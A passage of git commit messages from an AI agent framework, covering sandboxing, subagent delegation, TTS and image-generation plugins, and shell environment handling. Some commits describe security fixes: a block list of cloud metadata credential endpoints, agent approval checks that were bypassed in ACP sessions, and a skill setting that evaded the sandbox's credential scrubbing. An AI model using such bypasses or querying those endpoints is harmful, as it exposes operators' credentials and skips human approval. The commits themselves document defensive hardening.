--cap-add DAC_OVERRIDE --cap-add CHOWN --cap-add FOWNER \
--security-opt no-new-privileges \
--entrypoint /usr/local/bin/gosu \
hermes-claude:latest hermes id
# -> error: failed switching to 'hermes': operation not permitted
# Same command with SETUID+SETGID added:
# -> uid=10000(hermes) gid=10000(hermes) groups=10000(hermes)
Tests
-----
Added `test_security_args_include_setuid_setgid_for_gosu_drop` that
asserts both caps are present and the overall hardening posture
(cap-drop ALL + no-new-privileges) is preserved.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
LocalEnvironment._run_bash() spawned subprocess.Popen without a cwd
argument, so init_session()'s pwd -P ran in the gateway process's
startup directory and overwrote self.cwd. Pass cwd=self.cwd so the
initial snapshot captures the user-configured working directory.
Tested:
- pytest tests/ -q (255 env-related tests passed)
- Full suite: 13,537 passed; 70 pre-existing failures unrelated to local env
The container_config builder in terminal_tool.py was missing
docker_forward_env and docker_env keys, causing config.yaml's
docker_forward_env setting to be silently ignored. Environment
variables listed in docker_forward_env were never injected into
Docker containers.
This fix adds both keys to the container_config dict so they are
properly passed to _create_environment().
Follow-up on helix4u's PR #14211:
- Flip default to true: narrowing toolsets=['web','browser'] expresses
'I want these extras', not 'silently strip MCP'. Parent MCP tools
(registered at runtime) should survive narrowing by default.
- Drop _config_version bump (22->23); additive nested key under
delegation.* is handled by _deep_merge, no migration needed.
- Update tests to reflect new default behavior.
browser_cdp_tool.py registers before browser_tool.py (alphabetical
import order), so its stricter check_fn (requires CDP endpoint) becomes
the toolset-level check for all 11 browser tools. This causes
'hermes doctor' to report the entire browser toolset as unavailable
even when agent-browser is correctly installed.
Move browser_cdp to toolset='browser-cdp' so it is evaluated
independently. browser_navigate et al. only need agent-browser;
browser_cdp additionally requires a reachable CDP endpoint.
Version managers like frum (Ruby), rvm, nvm, and others commonly alias
cd to a wrapper function that runs additional logic after directory
changes. When Hermes captures the shell environment into a session
snapshot, these aliases are preserved. If the wrapper function fails
in the subprocess context (e.g. frum not on PATH), every cd fails,
causing all terminal commands to exit with code 126.
Using builtin cd bypasses any aliases or functions, ensuring the
directory change always uses the real bash builtin regardless of
what version managers are installed.
Make Tavily client respect a TAVILY_BASE_URL environment variable,
defaulting to https://api.tavily.com for backward compatibility.
Consistent with FIRECRAWL_API_URL pattern already used in this module.
The code execution sandbox creates a Unix domain socket in /tmp with
default permissions, allowing any local user to connect and execute
tool calls. Restrict to 0o600 after bind.
Closes#6230
Upgrades agent-browser from 0.13.0 to 0.26.0, picking up 13 releases of
daemon reliability fixes:
- Daemon hang on Linux from waitpid(-1) race in SIGCHLD handler (#1098)
- Chrome killed after ~10s idle due to PR_SET_PDEATHSIG thread tracking (#1157)
- Orphaned Chrome processes via process-group kill on shutdown (#1137)
- Stale daemon after upgrade via .version sidecar and auto-restart (#1134)
- Idle timeout not firing (sleep future recreated each loop) (#1110)
- Navigation hanging on lifecycle events that never fire (#1059, #1092)
- CDP attach hang on Chrome 144+ (#1133)
- Windows daemon TCP bind with Hyper-V port conflicts (#1041)
- Shadow DOM traversal in accessibility tree snapshots
- doctor command for user self-diagnosis
Also wires AGENT_BROWSER_IDLE_TIMEOUT_MS into the browser subprocess
environment so the daemon self-terminates after our configured inactivity
timeout (default 300s). This is the daemon-side counterpart to the
Python-side inactivity reaper — the daemon kills itself and its Chrome
children when no commands arrive, preventing orphan accumulation even
when the Python process dies without running atexit handlers.
Addresses #7343 (daemon socket hangs, shadow DOM) and #13793 (orphan
accumulation from force-killed sessions).
Adds security.allow_private_urls / HERMES_ALLOW_PRIVATE_URLS toggle so
users on OpenWrt routers, TUN-mode proxies (Clash/Mihomo/Sing-box),
corporate split-tunnel VPNs, and Tailscale networks — where DNS resolves
public domains to 198.18.0.0/15 or 100.64.0.0/10 — can use web_extract,
browser, vision URL fetching, and gateway media downloads.
Single toggle in tools/url_safety.py; all 23 is_safe_url() call sites
inherit automatically. Cached for process lifetime.
Cloud metadata endpoints stay ALWAYS blocked regardless of the toggle:
169.254.169.254 (AWS/GCP/Azure/DO/Oracle), 169.254.170.2 (AWS ECS task
IAM creds), 169.254.169.253 (Azure IMDS wire server), 100.100.100.200
(Alibaba), fd00:ec2::254 (AWS IPv6), the entire 169.254.0.0/16
link-local range, and the metadata.google.internal / metadata.goog
hostnames (checked pre-DNS so they can't be bypassed on networks where
those names resolve to local IPs).
Supersedes #3779 (narrower HERMES_ALLOW_RFC2544 for the same class of
users).
Co-authored-by: kshitijk4poor <82637225+kshitijk4poor@users.noreply.github.com>
- delegate_task: use shared tool_error() for the paused-spawn early return
so the error envelope matches the rest of the tool.
- Disk snapshot label: treat orphaned nodes (parentId missing from the
snapshot) as top-level, matching buildSubagentTree / summarizeLabel.
Four real issues Copilot flagged:
1. delegate_tool: `_build_child_agent` never passed `toolsets` to the
progress callback, so the event payload's `toolsets` field (wired
through every layer) was always empty and the overlay's toolsets
row never populated. Thread `child_toolsets` through.
2. event handler: the race-protection on subagent.spawn_requested /
subagent.start only preserved `completed`, so a late-arriving queued
event could clobber `failed` / `interrupted` too. Preserve any
terminal status (`completed | failed | interrupted`).
3. SpawnHud: comment claimed concurrency was approximated by "widest
level in the tree" but code used `totals.activeCount` (total across
all parents). `max_concurrent_children` is a per-parent cap, so
activeCount over-warns for multi-orchestrator runs. Switch to
`max(widthByDepth(tree))`; the label now reads `⚡W/cap+extra` where
W is the widest level (drives the ratio) and `+extra` is the rest.
4. spawn_tree.list: comment said "peek header without parsing full list"
but the code json.loads()'d every snapshot. Adds a per-session
`_index.jsonl` sidecar written on save; list() reads only the index
(with a full-scan fallback for pre-index sessions). O(1) per
snapshot now vs O(file-size).
Adds a live + post-hoc audit surface for recursive delegate_task fan-out.
None of cc/oc/oclaw tackle nested subagent trees inside an Ink overlay;
this ships a view-switched dashboard that handles arbitrary depth + width.
Python
- delegate_tool: every subagent event now carries subagent_id, parent_id,
depth, model, tool_count; subagent.complete also ships input/output/
reasoning tokens, cost, api_calls, files_read/files_written, and a
tail of tool-call outputs
- delegate_tool: new subagent.spawn_requested event + _active_subagents
registry so the overlay can kill a branch by id and pause new spawns
- tui_gateway: new RPCs delegation.status, delegation.pause,
subagent.interrupt, spawn_tree.save/list/load (disk under
\$HERMES_HOME/spawn-trees/<session>/<ts>.json)
TUI
- /agents overlay: full-width list mode (gantt strip + row picker) and
Enter-to-drill full-width scrollable detail mode; inverse+amber
selection, heat-coloured branch markers, wall-clock gantt with tick
ruler, per-branch rollups
- Detail pane: collapsible accordions (Budget, Files, Tool calls, Output,
Progress, Summary); open-state persists across agents + mode switches
via a shared atom
- /replay [N|last|list|load <path>] for in-memory + disk history;
/replay-diff <a> <b> for side-by-side tree comparison
- Status-bar SpawnHud warns as depth/concurrency approaches caps;
overlay auto-follows the just-finished turn onto history[1]
- Theme: bump DARK dim #B8860B → #CC9B1F for readable secondary text
globally; keep LIGHT untouched
Tests: +29 new subagentTree unit tests; 215/215 passing.
* feat(plugins): pluggable image_gen backends + OpenAI provider
Adds a ImageGenProvider ABC so image generation backends register as
bundled plugins under `plugins/image_gen/<name>/`. The plugin scanner
gains three primitives to make this work generically:
- `kind:` manifest field (`standalone` | `backend` | `exclusive`).
Bundled `kind: backend` plugins auto-load — no `plugins.enabled`
incantation. User-installed backends stay opt-in.
- Path-derived keys: `plugins/image_gen/openai/` gets key
`image_gen/openai`, so a future `tts/openai` cannot collide.
- Depth-2 recursion into category namespaces (parent dirs without a
`plugin.yaml` of their own).
Includes `OpenAIImageGenProvider` as the first consumer (gpt-image-1.5
default, plus gpt-image-1, gpt-image-1-mini, DALL-E 3/2). Base64
responses save to `$HERMES_HOME/cache/images/`; URL responses pass
through.
FAL stays in-tree for this PR — a follow-up ports it into
`plugins/image_gen/fal/` so the in-tree `image_generation_tool.py`
slims down. The dispatch shim in `_handle_image_generate` only fires
when `image_gen.provider` is explicitly set to a non-FAL value, so
existing FAL setups are untouched.
- 41 unit tests (scanner recursion, kind parsing, gate logic,
registry, OpenAI payload shapes)
- E2E smoke verified: bundled plugin autoloads, registers, and
`_handle_image_generate` routes to OpenAI when configured
* fix(image_gen/openai): don't send response_format to gpt-image-*
The live API rejects it: 'Unknown parameter: response_format'
(verified 2026-04-21 with gpt-image-1.5). gpt-image-* models return
b64_json unconditionally, so the parameter was both unnecessary and
actively broken.
* feat(image_gen/openai): gpt-image-2 only, drop legacy catalog
gpt-image-2 is the latest/best OpenAI image model (released 2026-04-21)
and there's no reason to expose the older gpt-image-1.5 / gpt-image-1 /
dall-e-3 / dall-e-2 alongside it — slower, lower quality, or awkward
(dall-e-2 squares only). Trim the catalog down to a single model.
Live-verified end-to-end: landscape 1536x1024 render of a Moog-style
synth matches prompt exactly, 2.4MB PNG saved to cache.
* feat(image_gen/openai): expose gpt-image-2 as three quality tiers
Users pick speed/fidelity via the normal model picker instead of a
hidden quality knob. All three tier IDs resolve to the single underlying
gpt-image-2 API model with a different quality parameter:
gpt-image-2-low ~15s fast iteration
gpt-image-2-medium ~40s default
gpt-image-2-high ~2min highest fidelity
Live-measured on OpenAI's API today: 15.4s / 40.8s / 116.9s for the
same 1024x1024 prompt.
Config:
image_gen.openai.model: gpt-image-2-high
# or
image_gen.model: gpt-image-2-low
# or env var for scripts/tests
OPENAI_IMAGE_MODEL=gpt-image-2-medium
Live-verified end-to-end with the low tier: 18.8s landscape render of a
golden retriever in wildflowers, vision-confirmed exact match.
* feat(tools_config): plugin image_gen providers inject themselves into picker
'hermes tools' → Image Generation now shows plugin-registered backends
alongside Nous Subscription and FAL.ai without tools_config.py needing
to know about them. OpenAI appears as a third option today; future
backends appear automatically as they're added.
Mechanism:
- ImageGenProvider gains an optional get_setup_schema() hook
(name, badge, tag, env_vars). Default derived from display_name.
- tools_config._plugin_image_gen_providers() pulls the schemas from
every registered non-FAL plugin provider.
- _visible_providers() appends those rows when rendering the Image
Generation category.
- _configure_provider() handles the new image_gen_plugin_name marker:
writes image_gen.provider and routes to the plugin's list_models()
catalog for the model picker.
- _toolset_needs_configuration_prompt('image_gen') stops demanding a
FAL key when any plugin provider reports is_available().
FAL is skipped in the plugin path because it already has hardcoded
TOOL_CATEGORIES rows — when it gets ported to a plugin in a follow-up
PR the hardcoded rows go away and it surfaces through the same path
as OpenAI.
Verified live: picker shows Nous Subscription / FAL.ai / OpenAI.
Picking OpenAI prompts for OPENAI_API_KEY, then shows the
gpt-image-2-low/medium/high model picker sourced from the plugin.
397 tests pass across plugins/, tools_config, registry, and picker.
* fix(image_gen): close final gaps for plugin-backend parity with FAL
Two small places that still hardcoded FAL:
- hermes_cli/setup.py status line: an OpenAI-only setup showed
'Image Generation: missing FAL_KEY'. Now probes plugin providers
and reports '(OpenAI)' when one is_available() — or falls back to
'missing FAL_KEY or OPENAI_API_KEY' if nothing is configured.
- image_generate tool schema description: said 'using FAL.ai, default
FLUX 2 Klein 9B'. Rewrote provider-neutral — 'backend and model are
user-configured' — and notes the 'image' field can be a URL or an
absolute path, which the gateway delivers either way via
extract_local_files().
- Wrap child.run_conversation() in a ThreadPoolExecutor with configurable
timeout (delegation.child_timeout_seconds, default 300s) to prevent
indefinite blocking when a subagent's API call or tool HTTP request hangs.
- Add heartbeat stale detection: if a child's api_call_count doesn't
advance for 5 consecutive heartbeat cycles (~2.5 min), stop touching
the parent's activity timestamp so the gateway inactivity timeout
can fire as a last resort.
- Add 'timeout' as a new exit_reason/status alongside the existing
completed/max_iterations/interrupted states.
- Use shutdown(wait=False) on the timeout executor to avoid the
ThreadPoolExecutor.__exit__ deadlock when a child is stuck on
blocking I/O.
Closes#13768
A single global MAX_TEXT_LENGTH = 4000 truncated every TTS provider at
4000 chars, causing long inputs to be silently chopped even though the
underlying APIs allow much more:
- OpenAI: 4096
- xAI: 15000
- MiniMax: 10000
- ElevenLabs: 5000 / 10000 / 30000 / 40000 (model-aware)
- Gemini: ~5000
- Edge: ~5000
The schema description also told the model 'Keep under 4000 characters',
which encouraged the agent to self-chunk long briefs into multiple TTS
calls (producing 3 separate audio files instead of one).
New behavior:
- PROVIDER_MAX_TEXT_LENGTH table + ELEVENLABS_MODEL_MAX_TEXT_LENGTH
encode the documented per-provider limits.
- _resolve_max_text_length(provider, cfg) resolves:
1. tts.<provider>.max_text_length user override
2. ElevenLabs model_id lookup
3. provider default
4. 4000 fallback
- text_to_speech_tool() and stream_tts_to_speaker() both call the
resolver; old MAX_TEXT_LENGTH alias kept for back-compat.
- Schema description no longer hardcodes 4000.
Tests: 27 new unit + E2E tests; all 53 existing TTS tests and 253
voice-command/voice-cli tests still pass.
* feat(models): hide OpenRouter models that don't advertise tool support
Port from Kilo-Org/kilocode#9068.
hermes-agent is tool-calling-first — every provider path assumes the
model can invoke tools. Models whose OpenRouter supported_parameters
doesn't include 'tools' (e.g. image-only or completion-only models)
cannot be driven by the agent loop and fail at the first tool call.
Filter them out of fetch_openrouter_models() so they never appear in
the model picker (`hermes model`, setup wizard, /model slash command).
Permissive when the field is missing — OpenRouter-compatible gateways
(Nous Portal, private mirrors, older snapshots) don't always populate
supported_parameters. Treat missing as 'unknown → allow' rather than
silently emptying the picker on those gateways. Only hide models
whose supported_parameters is an explicit list that omits tools.
Tests cover: tools present → kept, tools absent → dropped, field
missing → kept, malformed non-list → kept, non-dict item → kept,
empty list → dropped.
* feat(delegate): cross-agent file state coordination for concurrent subagents
Prevents mangled edits when concurrent subagents touch the same file
(same process, same filesystem — the mangle scenario from #11215).
Three layers, all opt-out via HERMES_DISABLE_FILE_STATE_GUARD=1:
1. FileStateRegistry (tools/file_state.py) — process-wide singleton
tracking per-agent read stamps and the last writer globally.
check_stale() names the sibling subagent in the warning when a
non-owning agent wrote after this agent's last read.
2. Per-path threading.Lock wrapped around the read-modify-write
region in write_file_tool and patch_tool. Concurrent siblings on
the same path serialize; different paths stay fully parallel.
V4A multi-file patches lock in sorted path order (deadlock-free).
3. Delegate-completion reminder in tools/delegate_tool.py: after a
subagent returns, writes_since(parent, child_start, parent_reads)
appends '[NOTE: subagent modified files the parent previously
read — re-read before editing: ...]' to entry.summary when the
child touched anything the parent had already seen.
Complements (does not replace) the existing path-overlap check in
run_agent._should_parallelize_tool_batch — batch check prevents
same-file parallel dispatch within one agent's turn (cheap prevention,
zero API cost), registry catches cross-subagent and cross-turn
staleness at write time (detection).
Behavior is warning-only, not hard-failing — matches existing project
style. Errors surface naturally: sibling writes often invalidate the
old_string in patch operations, which already errors cleanly.
Tests: tests/tools/test_file_state_registry.py — 16 tests covering
registry state transitions, per-path locking, per-path-not-global
locking, writes_since filtering, kill switch, and end-to-end
integration through the real read_file/write_file/patch handlers.
Adds role='leaf'|'orchestrator' to delegate_task. With max_spawn_depth>=2,
an orchestrator child retains the 'delegation' toolset and can spawn its
own workers; leaf children cannot delegate further (identical to today).
Default posture is flat — max_spawn_depth=1 means a depth-0 parent's
children land at the depth-1 floor and orchestrator role silently
degrades to leaf. Users opt into nested delegation by raising
max_spawn_depth to 2 or 3 in config.yaml.
Also threads acp_command/acp_args through the main agent loop's delegate
dispatch (previously silently dropped in the schema) via a new
_dispatch_delegate_task helper, and adds a DelegateEvent enum with
legacy-string back-compat for gateway/ACP/CLI progress consumers.
Config (hermes_cli/config.py defaults):
delegation.max_concurrent_children: 3 # floor-only, no upper cap
delegation.max_spawn_depth: 1 # 1=flat (default), 2-3 unlock nested
delegation.orchestrator_enabled: true # global kill switch
Salvaged from @pefontana's PR #11215. Overrides vs. the original PR:
concurrency stays at 3 (PR bumped to 5 + cap 8 — we keep the floor only,
no hard ceiling); max_spawn_depth defaults to 1 (PR defaulted to 2 which
silently enabled one level of orchestration for every user).
Co-authored-by: pefontana <fontana.pedro93@gmail.com>
Adds OpenAI's new GPT Image 2 model via FAL.ai, selectable through
`hermes tools` → Image Generation. SOTA text rendering (including CJK)
and world-aware photorealism.
- FAL_MODELS entry with image_size_preset style
- 4:3 presets on all aspect ratios — 16:9 (1024x576) falls below
GPT-Image-2's 655,360 min-pixel floor and would be rejected
- quality pinned to medium (same rule as gpt-image-1.5) for
predictable Nous Portal billing
- BYOK (openai_api_key) deliberately omitted from supports so all
users stay on shared FAL billing
- 6 new tests covering preset mapping, quality pinning, and
supports-whitelist integrity
- Docs table + aspect-ratio map updated
Live-tested end-to-end: 39.9s cold request, clean 1024x768 PNG
Two related ACP approval issues:
GHSA-96vc-wcxf-jjff — ACP's _run_agent never set HERMES_INTERACTIVE
(or any other flag recognized by tools.approval), so check_all_command_guards
took the non-interactive auto-approve path and never consulted the
ACP-supplied approval callback (conn.request_permission). Dangerous
commands executed in ACP sessions without operator approval despite
the callback being installed. Fix: set HERMES_INTERACTIVE=1 around
the agent run so check_all_command_guards routes through
prompt_dangerous_approval(approval_callback=...) — the correct shape
for ACP's per-session request_permission call. HERMES_EXEC_ASK would
have routed through the gateway-queue path instead, which requires a
notify_cb registered in _gateway_notify_cbs (not applicable to ACP).
GHSA-qg5c-hvr5-hjgr — _approval_callback and _sudo_password_callback
were module-level globals in terminal_tool. Concurrent ACP sessions
running in ThreadPoolExecutor threads each installed their own callback
into the same slot, racing. Fix: store both callbacks in threading.local()
so each thread has its own slot. CLI mode (single thread) is unaffected;
gateway mode uses a separate queue-based approval path and was never
touched.
set_approval_callback is now called INSIDE _run_agent (the executor
thread) rather than before dispatching — so the TLS write lands on the
correct thread.
Tests: 5 new in tests/acp/test_approval_isolation.py covering
thread-local isolation of both callbacks and the HERMES_INTERACTIVE
callback routing. Existing tests/acp/ (159 tests) and tests/tools/
approval-related tests continue to pass.
Fixes GHSA-96vc-wcxf-jjff
Fixes GHSA-qg5c-hvr5-hjgr
A skill declaring `required_environment_variables: [ANTHROPIC_TOKEN]` in
its SKILL.md frontmatter silently bypassed the `execute_code` sandbox's
credential-scrubbing guarantee. `register_env_passthrough` had no
blocklist, so any name a skill chose flipped `is_env_passthrough(name) =>
True`, which shortcircuits the sandbox's secret filter.
Fix: reject registration when the name appears in
`_HERMES_PROVIDER_ENV_BLOCKLIST` (the canonical list of Hermes-managed
credentials — provider keys, gateway tokens, etc.). Log a warning naming
GHSA-rhgp-j443-p4rf so operators see the rejection in logs.
Non-Hermes third-party API keys (TENOR_API_KEY for gif-search,
NOTION_TOKEN for notion skills, etc.) remain legitimately registerable —
they were never in the sandbox scrub list in the first place.
Tests: 16 -> 17 passing. Two old tests that documented the bypass
(`test_passthrough_allows_blocklisted_var`, `test_make_run_env_passthrough`)
are rewritten to assert the new fail-closed behavior. New
`test_non_hermes_api_key_still_registerable` locks in that legitimate
third-party keys are unaffected.
Reported in GHSA-rhgp-j443-p4rf by @q1uf3ng. Hardening; not CVE-worthy
on its own per the decision matrix (attacker must already have operator
consent to install a malicious skill).
Fixes#13027
Previously, `_is_skill_disabled()` only checked the explicit `platform`
argument and `os.getenv('HERMES_PLATFORM')`, missing the gateway session
context (`HERMES_SESSION_PLATFORM`). This caused `skill_view()` to expose
skills that were platform-disabled for the active gateway session.
Add `_get_session_platform()` helper that resolves the platform from
`gateway.session_context.get_session_env`, mirroring the logic in
`agent.skill_utils.get_disabled_skill_names()`.
Now the platform resolution follows the same precedence as skill_utils:
1. Explicit `platform` argument
2. `HERMES_PLATFORM` environment variable
3. `HERMES_SESSION_PLATFORM` from gateway session context
Previously the breaker was only cleared when the post-reconnect retry
call itself succeeded (via _reset_server_error at the end of the try
block). If OAuth recovery succeeded but the retry call happened to
fail for a different reason, control fell through to the
needs_reauth path which called _bump_server_error — adding to an
already-tripped count instead of the fresh count the reconnect
justified. With fix#1 in place this would still self-heal on the
next cooldown, but we should not pay a 60s stall when we already
have positive evidence the server is viable.
Move _reset_server_error(server_name) up to immediately after the
reconnect-and-ready-wait block, before the retry_call. The
subsequent retry still goes through _bump_server_error on failure,
so a genuinely broken server re-trips the breaker as normal — but
the retry starts from a clean count (1 after a failure), not a
stale one.
The MCP circuit breaker previously had no path back to the closed
state: once _server_error_counts[srv] reached _CIRCUIT_BREAKER_THRESHOLD
the gate short-circuited every subsequent call, so the only reset
path (on successful call) was unreachable. A single transient
3-failure blip (bad network, server restart, expired token) permanently
disabled every tool on that MCP server for the rest of the agent
session.
Introduce a classic closed/open/half-open state machine:
- Track a per-server breaker-open timestamp in _server_breaker_opened_at
alongside the existing failure count.
- Add _CIRCUIT_BREAKER_COOLDOWN_SEC (60s). Once the count reaches
threshold, calls short-circuit for the cooldown window.
- After the cooldown elapses, the *next* call falls through as a
half-open probe that actually hits the session. Success resets the
breaker via _reset_server_error; failure re-bumps the count via
_bump_server_error, which re-stamps the open timestamp and re-arms
the cooldown.
The error message now includes the live failure count and an
"Auto-retry available in ~Ns" hint so the model knows the breaker
will self-heal rather than giving up on the tool for the whole
session.
Covers tests 1 (half-opens after cooldown) and 2 (reopens on probe
failure); test 3 (cleared on reconnect) still fails pending fix#2.
Follow-up to PR #2504. The original fix covered the two direct FAL_KEY
checks in image_generation_tool but left four other call sites intact,
including the managed-gateway gate where a whitespace-only FAL_KEY
falsely claimed 'user has direct FAL' and *skipped* the Nous managed
gateway fallback entirely.
Introduce fal_key_is_configured() in tools/tool_backend_helpers.py as a
single source of truth (consults os.environ, falls back to .env for
CLI-setup paths) and route every FAL_KEY presence check through it:
- tools/image_generation_tool.py : _resolve_managed_fal_gateway,
image_generate_tool's upfront check, check_fal_api_key
- hermes_cli/nous_subscription.py : direct_fal detection, selected
toolset gating, tools_ready map
- hermes_cli/tools_config.py : image_gen needs-setup check
Verified by extending tests/tools/test_image_generation_env.py and by
E2E exercising whitespace + managed-gateway composition directly.
Treat whitespace-only FAL_KEY the same as unset so users who export
FAL_KEY=" " (or CI that leaves a blank token) get the expected
'not set' error path instead of a confusing downstream fal_client
failure.
Applied to the two direct FAL_KEY checks in image_generation_tool.py:
image_generate_tool's upfront credential check and check_fal_api_key().
Both keep the existing managed-gateway fallback intact.
Adapted the original whitespace/valid tests to pin the managed gateway
to None so the whitespace assertion exercises the direct-key path
rather than silently relying on gateway absence.
Follow-ups on top of @teyrebaz33's cherry-picked commit:
1. New shared helper format_no_match_hint() in fuzzy_match.py with a
startswith('Could not find') gate so the snippet only appends to
genuine no-match errors — not to 'Found N matches' (ambiguous),
'Escape-drift detected', or 'identical strings' errors, which would
all mislead the model.
2. file_tools.patch_tool suppresses the legacy generic '[Hint: old_string
not found...]' string when the rich 'Did you mean?' snippet is
already attached — no more double-hint.
3. Wire the same helper into patch_parser.py (V4A patch mode, both
_validate_operations and _apply_update) and skill_manager_tool.py so
all three fuzzy callers surface the hint consistently.
Tests: 7 new gating tests in TestFormatNoMatchHint cover every error
class (ambiguous, drift, identical, non-zero match count, None error,
no similar content, happy path). 34/34 test_fuzzy_match, 96/96
test_file_tools + test_patch_parser + test_skill_manager_tool pass.
E2E verified across all four scenarios: no-match-with-similar,
no-match-no-similar, ambiguous, success. V4A mode confirmed
end-to-end with a non-matching hunk.
When patch_replace() cannot find old_string in a file, the error message
now includes the closest matching lines from the file with line numbers
and context. This helps the LLM self-correct without a separate read_file
call.
Implements Phase 1 of #536: enhanced patch error feedback with no
architectural changes.
- tools/fuzzy_match.py: new find_closest_lines() using SequenceMatcher
- tools/file_operations.py: attach closest-lines hint to patch errors
- tests/tools/test_fuzzy_match.py: 5 new tests for find_closest_lines
Builds on @AxDSan's PR #2109 to finish the KittenTTS wiring so the
provider behaves like every other TTS backend end to end.
- tools/tts_tool.py: `_check_kittentts_available()` helper and wire
into `check_tts_requirements()`; extend Opus-conversion list to
include kittentts (WAV → Opus for Telegram voice bubbles); point the
missing-package error at `hermes setup tts`.
- hermes_cli/tools_config.py: add KittenTTS entry to the "Text-to-Speech"
toolset picker, with a `kittentts` post_setup hook that auto-installs
the wheel + soundfile via pip.
- hermes_cli/setup.py: `_install_kittentts_deps()`, new choice + install
flow in `_setup_tts_provider()`, provider_labels entry, and status row
in the `hermes setup` summary.
- website/docs/user-guide/features/tts.md: add KittenTTS to the provider
table, config example, ffmpeg note, and the zero-config voice-bubble tip.
- tests/tools/test_tts_kittentts.py: 10 unit tests covering generation,
model caching, config passthrough, ffmpeg conversion, availability
detection, and the missing-package dispatcher branch.
E2E verified against the real `kittentts` wheel:
- WAV direct output (pcm_s16le, 24kHz mono)
- MP3 conversion via ffmpeg (from WAV)
- Telegram flow (provider in Opus-conversion list) produces
`codec_name=opus`, 48kHz mono, `voice_compatible=True`, and the
`[[audio_as_voice]]` marker
- check_tts_requirements() returns True when kittentts is installed
Add support for KittenTTS - a lightweight, local TTS engine with models
ranging from 25-80MB that runs on CPU without requiring a GPU or API key.
Features:
- Support for 8 built-in voices (Jasper, Bella, Luna, etc.)
- Configurable model size (nano 25MB, micro 41MB, mini 80MB)
- Adjustable speech speed
- Model caching for performance
- Automatic WAV to Opus conversion for Telegram voice messages
Configuration example (config.yaml):
tts:
provider: kittentts
kittentts:
model: KittenML/kitten-tts-nano-0.8-int8
voice: Jasper
speed: 1.0
clean_text: true
Installation:
pip install https://github.com/KittenML/KittenTTS/releases/download/0.8.1/kittentts-0.8.1-py3-none-any.whl
Full AST-based scan of all .py files to find every case where a module
or name is imported locally inside a function body but is already
available at module level. This is the second pass — the first commit
handled the known cases from the lint report; this one catches
everything else.
Files changed (19):
cli.py — 16 removals: time as _time/_t/_tmod (×10),
re / re as _re (×2), os as _os, sys,
partial os from combo import,
from model_tools import get_tool_definitions
gateway/run.py — 8 removals: MessageEvent as _ME /
MessageType as _MT (×3), os as _os2,
MessageEvent+MessageType (×2), Platform,
BasePlatformAdapter as _BaseAdapter
run_agent.py — 6 removals: get_hermes_home as _ghh,
partial (contextlib, os as _os),
cleanup_vm, cleanup_browser,
set_interrupt as _sif (×2),
partial get_toolset_for_tool
hermes_cli/main.py — 4 removals: get_hermes_home, time as _time,
logging as _log, shutil
hermes_cli/config.py — 1 removal: get_hermes_home as _ghome
hermes_cli/runtime_provider.py
— 1 removal: load_config as _load_bedrock_config
hermes_cli/setup.py — 2 removals: importlib.util (×2)
hermes_cli/nous_subscription.py
— 1 removal: from hermes_cli.config import load_config
hermes_cli/tools_config.py
— 1 removal: from hermes_cli.config import load_config, save_config
cron/scheduler.py — 3 removals: concurrent.futures, json as _json,
from hermes_cli.config import load_config
batch_runner.py — 1 removal: list_distributions as get_all_dists
(kept print_distribution_info, not at top level)
tools/send_message_tool.py
— 2 removals: import os (×2)
tools/skills_tool.py — 1 removal: logging as _logging
tools/browser_camofox.py
— 1 removal: from hermes_cli.config import load_config
tools/image_generation_tool.py
— 1 removal: import fal_client
environments/tool_context.py
— 1 removal: concurrent.futures
gateway/platforms/bluebubbles.py
— 1 removal: httpx as _httpx
gateway/platforms/whatsapp.py
— 1 removal: import asyncio
tui_gateway/server.py — 2 removals: from datetime import datetime,
import time
All alias references (_time, _t, _tmod, _re, _os, _os2, _json, _ghh,
_ghome, _sif, _ME, _MT, _BaseAdapter, _load_bedrock_config, _httpx,
_logging, _log, get_all_dists) updated to use the top-level names.
Sweep ~74 redundant local imports across 21 files where the same module
was already imported at the top level. Also includes type fixes and lint
cleanups on the same branch.
* feat(skills): inject absolute skill dir and expand ${HERMES_SKILL_DIR} templates
When a skill loads, the activation message now exposes the absolute
skill directory and substitutes ${HERMES_SKILL_DIR} /
${HERMES_SESSION_ID} tokens in the SKILL.md body, so skills with
bundled scripts can instruct the agent to run them by absolute path
without an extra skill_view round-trip.
Also adds opt-in inline-shell expansion: !`cmd` snippets in SKILL.md
are pre-executed (with the skill directory as CWD) and their stdout is
inlined into the message before the agent reads it. Off by default —
enable via skills.inline_shell in config.yaml — because any snippet
runs on the host without approval.
Changes:
- agent/skill_commands.py: template substitution, inline-shell
expansion, absolute skill-dir header, supporting-files list now
shows both relative and absolute forms.
- hermes_cli/config.py: new skills.template_vars,
skills.inline_shell, skills.inline_shell_timeout knobs.
- tests/agent/test_skill_commands.py: coverage for header, both
template tokens (present and missing session id), template_vars
disable, inline-shell default-off, enabled, CWD, and timeout.
- website/docs/developer-guide/creating-skills.md: documents the
template tokens, the absolute-path header, and the opt-in inline
shell with its security caveat.
Validation: tests/agent/ 1591 passed (includes 9 new tests).
E2E: loaded a real skill in an isolated HERMES_HOME; confirmed
${HERMES_SKILL_DIR} resolves to the absolute path, ${HERMES_SESSION_ID}
resolves to the passed task_id, !`date` runs when opt-in is set, and
stays literal when it isn't.
* feat(terminal): source ~/.bashrc (and user-listed init files) into session snapshot
bash login shells don't source ~/.bashrc, so tools that install themselves
there — nvm, asdf, pyenv, cargo, custom PATH exports — stay invisible to
the environment snapshot Hermes builds once per session. Under systemd
or any context with a minimal parent env, that surfaces as
'node: command not found' in the terminal tool even though the binary
is reachable from every interactive shell on the machine.
Changes:
- tools/environments/local.py: before the login-shell snapshot bootstrap
runs, prepend guarded 'source <file>' lines for each resolved init
file. Missing files are skipped, each source is wrapped with a
'[ -r ... ] && . ... || true' guard so a broken rc can't abort the
bootstrap.
- hermes_cli/config.py: new terminal.shell_init_files (explicit list,
supports ~ and ${VAR}) and terminal.auto_source_bashrc (default on)
knobs. When shell_init_files is set it takes precedence; when it's
empty and auto_source_bashrc is on, ~/.bashrc gets auto-sourced.
- tests/tools/test_local_shell_init.py: 10 tests covering the resolver
(auto-bashrc, missing file, explicit override, ~/${VAR} expansion,
opt-out) and the prelude builder (quoting, guarded sourcing), plus
a real-LocalEnvironment snapshot test that confirms exports in the
init file land in subsequent commands' environment.
- website/docs/reference/faq.md: documents the fix in Troubleshooting,
including the zsh-user pattern of sourcing ~/.zshrc or nvm.sh
directly via shell_init_files.
Validation: 10/10 new tests pass; tests/tools/test_local_*.py 40/40
pass; tests/agent/ 1591/1591 pass; tests/hermes_cli/test_config.py
50/50 pass. E2E in an isolated HERMES_HOME: confirmed that a fake
~/.bashrc setting a marker var and PATH addition shows up in a real
